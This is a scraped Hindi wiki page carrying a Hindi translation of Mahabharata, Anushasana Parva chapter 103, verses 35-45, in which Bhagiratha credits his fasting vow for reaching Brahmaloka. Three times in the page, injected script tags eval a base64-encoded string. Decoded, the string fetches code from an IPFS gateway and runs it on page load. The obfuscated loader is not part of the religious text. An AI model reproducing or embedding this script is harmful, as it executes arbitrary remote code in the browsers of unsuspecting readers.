महाभारत अनुशासन पर्व अध्याय 103 श्लोक 35-45

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०६:३४, २१ जुलाई २०१५ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

त्रयधिकशततम (103) अध्याय: अनुशासन पर्व (दानधर्म पर्व)

महाभारत: अनुशासन पर्व: त्रयधिकशततम अध्याय: श्लोक 35-45 का हिन्दी अनुवाद

लोकनाथ। सुरेश्‍वर। इनके अतिरिक्‍त रोहिणी (कपिला) जाति की बहुत-सी दुधारु गौऐं तथा बहुसंख्‍यक सांड भी मैं प्रतिदिन ब्राह्माणों को दान करता था; परंतु उन सब दानों के फल से भी मैं इस लोक में नहीं आया हूं । ब्रह्मन। मैंने प्रतिदिन एक-एक करके तीस बार अग्निचयन एवं यजन किया। आठ बार सर्वमेध, सात बार नरमेध और एक सौ अठ्ठाईस बार विश्‍व‍िजित यज्ञ किया है; परंतु देवेश्‍वर। उन यज्ञों के फल से भी मैं इस लोक में नहीं आया हूं । सरयू, बाहुदा, गंगा और नैमिषारण्‍य तीर्थ में जाकर मैंने दस लाख गौदान किये हैं; परंतु उनके फल से भी यहां आना नहीं हुआ है (केवल अनशन व्रत प्रभाव से मुझे इस दुर्लभ लोक की प्राप्ति हुई है) । पहले इन्‍द्र ने स्‍वयं अनशन व्रत का अनुष्‍ठान करके इसे गुप्‍त रखा था। उसके बाद शुक्राचार्य ने तपस्‍या के द्वारा उसका ज्ञान प्राप्‍त किया। फिर उन्‍हीं तेज से उसका महात्‍म्‍य सर्वत्र प्रकाशित हुआ। सर्वश्रेष्‍ठ पितामह। मैंने भी अन्‍त में उसी अनशन व्रत का साधन आरंभ किया । जब उस कर्म की पूर्ति हुई, उस समय मेरे पास हजारों ब्राह्माण और ॠषि पधारे। वे सभी मुझ पर बहुत संतुष्‍ट थे। प्रभो। उन्‍होंने प्रसन्‍नता पूर्वक मुझे आज्ञा दी कि ‘तुम ब्रह्मलोक को जाओ।‘ भगवन। प्रसन्‍न हुऐ उन हजारों ब्राह्माण के आशीर्वाद से मैं इस लोक में आया हूं इसमें आप कोई अन्‍यथा विचार न करें । देवेश्‍वर। मैंने अपनी इच्‍छा के अनुसार विधिपूर्वक अनशन व्रत का पालन किया आप संपूर्ण जगत के विधाता हैं। आपके पूछने पर मुझे सब बातें यथावत रुप से बतानी चाहियें, इसलिये सब-कुछ कह रहा हूं। मेरी समझ में अनशन व्रत से बढकर दूसरी कोई तपस्‍या नहीं है। आपको नमस्‍कार है, आप मुझ पर प्रसन्‍न होइये । भीष्‍मजी कहते हैं- राजन। राजा भागीरथ ने जब इस प्रकार कहा तब ब्रह्माजी ने शास्‍त्रोक्‍त विधि से आदरणीय नरेश का विशेष आदर सत्‍कार किया । अत: तुम भी अनशन व्रत से युक्‍त होकर सदा ब्राह्माण का पूजन करो; क्‍योंकि बा्म्‍हणों के आशीवार्द से इहलोक और परलोक में भी संपूर्ण कामनाऐं सिद्व होती हैं । अन्‍न, वस्‍त्र, गौ तथा सुंदर गृह देकर और कल्‍याण कारी देवताओं की आराधना करके भी ब्राह्माणों को ही संतुष्‍ठ करना चाहिये। तुम लोभ छोड़कर इसी परम गोपनीय धरम का आचरण करो ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>